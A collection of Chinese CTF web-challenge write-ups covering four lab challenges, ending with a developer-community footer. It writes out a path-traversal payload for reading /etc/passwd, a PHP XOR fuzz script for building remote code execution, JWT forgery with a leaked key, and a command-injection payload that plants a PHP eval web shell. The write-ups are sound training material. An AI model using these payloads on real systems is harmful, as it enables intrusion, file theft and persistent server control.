virink_2019_files_share

1.F12查看源码发现提示flag在f1ag_Is_h3re 中,继续进入到upload目录下,发现/preview

2.利用priview?p=进行文件包含,尝试读取/etc/passwd,响应包显示epasswd文件不存在,猜测是对斜杠/已经其前两位字符进行了过滤。于是使用....//....//....//....//....//....//etc..//passwd进行读取,成功读取文件内容。

3.根据提示读取文件,显示文件不存在,猜测目录,读取f1ag_Is_h3re/flag,成功读取flag。

NESTCTF 2019 Love Math 2

1.代码审计,第一个正则过滤中括号和空白符如换行、制表和空格等。第二个正则匹配字母、数字和ASCII(127-255)的两个字符,连续匹配多次存入数组中,再判断匹配的两位字符的字符串之后是否在白名单函数内。

2.这题关键就是如何RCE,首先第一个正则过滤可以用传参来绕过,第二个正则就是构造传参的关键。它虽然匹配字符,但是符号^、|、.等却没有过滤,也就意味着我们可以使用数学函数配合位运算来尝试构造$_GET$_POST进行传参。

3.到构造这里属实是不会了,只能拿出别的师傅的fuzz脚本了。

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "<br />";
        }
    }
}

4.最后拿生成的结果进行拼接,[]用{}替换即可。

[RootersCTF2019]ImgXweb

1.注册admin,提示已被注册。重新注册一个账号,查看cookie发现jwt,尝试jwt爆破,很久没结果,怀疑为密钥泄露。于是目录扫描发现robots.txt,得到密钥you-will-never-guess

2.jwt伪造账号为admin,替换cookie登入后台发现flag.png,直接访问显示图片损坏,最后抓包访问得到flag。

[羊城杯 2020]Easyphp2

1.进去就发现了任意文件读取,base64过滤器被过滤可以使用convert.quoted-printable-encode来替换输出源码。

2.robots.txt发现check.php,访问得到pass,然后进行cookie替换。

3.代码审计,就是一个简单的命令执行然后拼接,注意过滤。payload:'|echo "<?= eval(\$_POST[0])?>" >/var/www/html/guangji.php|'

4.蚁剑连接,查找flag在GZHT中system的目录下,无法访问应该是权限不够。在GZHT下有个README文件,读取发现是密码的hash值,解密得到密码为GWHTCTF,利用密码登录即可获得flag。

Logo

欢迎加入我们的广州开发者社区,与优秀的开发者共同成长!

更多推荐